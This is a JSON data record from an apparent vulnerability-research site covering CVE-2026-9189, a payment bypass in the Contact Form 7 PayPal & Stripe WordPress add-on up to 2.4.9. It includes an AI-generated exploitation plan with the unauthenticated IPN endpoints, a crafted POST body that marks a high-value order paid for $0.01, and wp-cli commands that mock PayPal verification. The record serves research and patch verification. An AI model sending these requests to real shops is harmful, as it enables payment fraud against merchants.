[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDmEOvvcZ409l5ZI6vkdDrqUsf9Npx-LAfbSOkVXhn1E":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":31,"research_started_at":32,"research_completed_at":33,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":34},"CVE-2026-9189","contact-form-7-paypal-stripe-add-on-unauthenticated-payment-bypass-via-insufficient-verification-of-data-authenticity-vi","Contact Form 7 – PayPal & Stripe Add-on \u003C= 2.4.9 - Unauthenticated Payment Bypass via Insufficient Verification of Data Authenticity via PayPal IPN Handler ('invoice'\u002F'mc_gross' Verification)","The Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress is vulnerable to Payment Bypass via Insufficient Verification of Data Authenticity in all versions up to, and including, 2.4.9. Although `cf7pp_paypal_ipn_handler()` correctly validates IPN authenticity by posting back to PayPal with `cmd=_notify-validate`, it fails to compare the IPN payload's `mc_gross` (payment amount), `mc_currency`, or `receiver_email` fields against the corresponding stored order values before passing the attacker-controlled `invoice` field directly to `cf7pp_complete_payment()`, which marks the order completed after only an integer cast with no amount verification. This makes it possible for unauthenticated attackers to mark arbitrary high-value pending orders as fully paid by making a minimal real PayPal payment and crafting an IPN whose `invoice` parameter references the targeted order, effectively completing purchases without tendering the required payment amount.","contact-form-7-paypal-add-on",null,"\u003C=2.4.9","2.4.10","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Insufficient Verification of Data Authenticity","2026-05-28 19:54:04","2026-05-29 08:28:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5e274781-1c20-4224-bc10-26dadb9b1e07?source=api-prod",1,[22,23,24,25,26],"includes\u002Fadmin\u002Fsettings_page.php","includes\u002Fpayments\u002Ffunctions.php","includes\u002Fpayments\u002Fpaypal_handler.php","paypal.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-9189\n\n## 1. Vulnerability Summary\nThe **Contact Form 7 – PayPal & Stripe Add-on** plugin (up to version 2.4.9) contains a payment bypass vulnerability in its PayPal IPN (Instant Payment Notification) handling logic. While the plugin correctly validates that an IPN message originated from PayPal by performing a post-back to `_notify-validate`, it fails to verify that the payment details (specifically the amount `mc_gross` and currency `mc_currency`) match the expected values for the order identified by the `invoice` parameter. \n\nThe vulnerability exists because `cf7pp_paypal_ipn_handler()` in `includes\u002Fpayments\u002Fpaypal_handler.php` extracts the `invoice` field from the IPN payload and passes it directly to `cf7pp_complete_payment()` without validating that the paid amount matches the order's stored amount. An attacker can make a minimal payment (e.g., $0.01) and, by providing the ID of a high-value pending order in the `invoice` field, mark that order as fully paid.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress REST API route for PayPal IPN.\n  - **Sandbox:** `\u002Fwp-json\u002Fpaypalipn\u002Fv1\u002Fcf7pp_sandbox`\n  - **Production:** `\u002Fwp-json\u002Fpaypalipn\u002Fv1\u002Fcf7pp_production`\n- **Method:** `POST`\n- **Authentication:** Unauthenticated (Permission callback `cf7pp_paypal_ipn_auth` returns `true`).\n- **Payload Parameters:**\n  - `payment_status`: Must be `Completed` (case-insensitive).\n  - `invoice`: The integer ID of the `cf7pp_payments` post to be marked as completed.\n  - `mc_gross`: Any amount (the vulnerability is that this is *not* verified).\n  - `txn_id`: A transaction ID (will be stored in metadata).\n  - `receiver_email`: Must match the configured PayPal email in settings (if set).\n\n## 3. Code Flow\n1. **Entry Point:** `cf7pp_paypal_ipn_listener()` registers the REST route pointing to `cf7pp_paypal_ipn_handler()`.\n2. **Payload Parsing:** `cf7pp_paypal_ipn_handler()` reads the raw POST body and parses it into the `$data` array.\n3. **Status Check:** It verifies `strtolower($data['payment_status']) == 'completed'`.\n4. **Verification:** It performs a `wp_remote_post` to PayPal's `_notify-validate` endpoint.\n5. **Missing Check:** **CRITICAL SINK.** The code proceeds to call `cf7pp_complete_payment($data['invoice'], $status, $data['txn_id'])`. It **never** retrieves the stored amount meta from the `invoice` post ID to compare it with `$data['mc_gross']`.\n6. **Execution:** `cf7pp_complete_payment()` (in `includes\u002Fpayments\u002Ffunctions.php`) casts `$payment_id` to an integer, verifies the post type is `cf7pp_payments` and status is `cf7pp-pending`, then updates the status to `cf7pp-completed`.\n\n## 4. Nonce Acquisition Strategy\nNo WordPress nonce is required for this attack.\nThe IPN listener is designed to be called by PayPal's servers and uses a custom authentication callback:\n```php\nfunction cf7pp_paypal_ipn_auth() {\n\treturn true; \u002F\u002F security done in the handler\n}\n```\nThe \"security done in the handler\" refers to the PayPal post-back verification, which can be bypassed in a test environment by mocking the HTTP response.\n\n## 5. Exploitation Strategy\n\n### Pre-requisite: Mocking PayPal Verification\nSince the test environment is isolated, the `wp_remote_post` call to PayPal will fail or cannot be verified. To test the logic, we must force the plugin to believe the IPN is \"VERIFIED\".\n\n1. Use `wp eval` to add a filter to the target WordPress instance that mocks the response for any request to `paypal.com`.\n\n### Step-by-Step Exploit\n1. **Create a Target Order:** Create a pending payment for a high amount (e.g., $1000).\n2. **Send Malicious IPN:** Send a `POST` request to the IPN handler with a low `mc_gross` ($0.01) but the `invoice` set to the high-value Order ID.\n3. **Verify Bypass:** Check if the high-value order status changed to `cf7pp-completed`.\n\n### HTTP Request (using `http_request` tool)\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fpaypalipn\u002Fv1\u002Fcf7pp_production` (assuming default mode)\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** `payment_status=Completed&invoice=[TARGET_ID]&mc_gross=0.01&txn_id=ATTACK-TXN-123&mc_currency=USD`\n\n## 6. Test Data Setup\n1. **Configure Plugin:** Ensure the plugin is active and \"Production\" mode is selected (default).\n   ```bash\n   wp option update cf7pp_options '{\"mode\":\"2\"}' --format=json\n   ```\n2. **Create Target Payment:** Create a pending payment manually to simulate a user submission.\n   ```bash\n   wp eval 'include_once \"wp-content\u002Fplugins\u002Fcontact-form-7-paypal-add-on\u002Fincludes\u002Fpayments\u002Ffunctions.php\"; echo cf7pp_insert_payment(\"paypal\", \"live\", \"1000.00\", 1);'\n   ```\n   *Note the returned ID.*\n3. **Setup Verification Mock:**\n   ```bash\n   wp eval 'add_filter(\"pre_http_request\", function($pre, $args, $url) { if (strpos($url, \"paypal.com\") !== false) return [\"body\" => \"VERIFIED\", \"response\" => [\"code\" => 200]]; return $pre; }, 10, 3);'\n   ```\n\n## 7. Expected Results\n- The IPN handler should return a `200 OK` response.\n- The `cf7pp_payments` post with the target ID should have its `post_status` updated from `cf7pp-pending` to `cf7pp-completed`.\n- Metadata `transaction_id` for that post should be set to `ATTACK-TXN-123`.\n- The payment record is now considered \"Paid\" despite only $0.01 being \"sent\" in the IPN.\n\n## 8. Verification Steps\n1. **Check Post Status:**\n   ```bash\n   wp post get [TARGET_ID] --field=post_status\n   ```\n   *Expected: `cf7pp-completed`*\n2. **Check Transaction ID:**\n   ```bash\n   wp post meta get [TARGET_ID] transaction_id\n   ```\n   *Expected: `ATTACK-TXN-123`*\n3. **Check Amount (Verify it remains unchanged\u002Fmismatched):**\n   ```bash\n   wp post meta get [TARGET_ID] amount\n   ```\n   *Expected: `1000.00` (proving the completion happened without verifying the $0.01 in the IPN).*\n\n## 9. Alternative Approaches\nIf \"Production\" mode fails, attempt \"Sandbox\" mode:\n1. Change mode: `wp option update cf7pp_options '{\"mode\":\"1\"}' --format=json`\n2. Update URL to: `\u002Fwp-json\u002Fpaypalipn\u002Fv1\u002Fcf7pp_sandbox`\n3. Ensure the IPN body includes `receiver_email` if a `sandboxaccount` is defined in `cf7pp_options`. If `sandboxaccount` is empty, the check is skipped.","gemini-3-flash-preview","2026-06-04 15:24:27","2026-06-04 15:25:31",{"type":35,"vulnerable_version":36,"fixed_version":11,"vulnerable_browse":37,"vulnerable_zip":38,"fixed_browse":39,"fixed_zip":40,"all_tags":41},"plugin","2.4.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-7-paypal-add-on\u002Ftags\u002F2.4.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-7-paypal-add-on.2.4.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-7-paypal-add-on\u002Ftags\u002F2.4.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-7-paypal-add-on.2.4.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-7-paypal-add-on\u002Ftags"]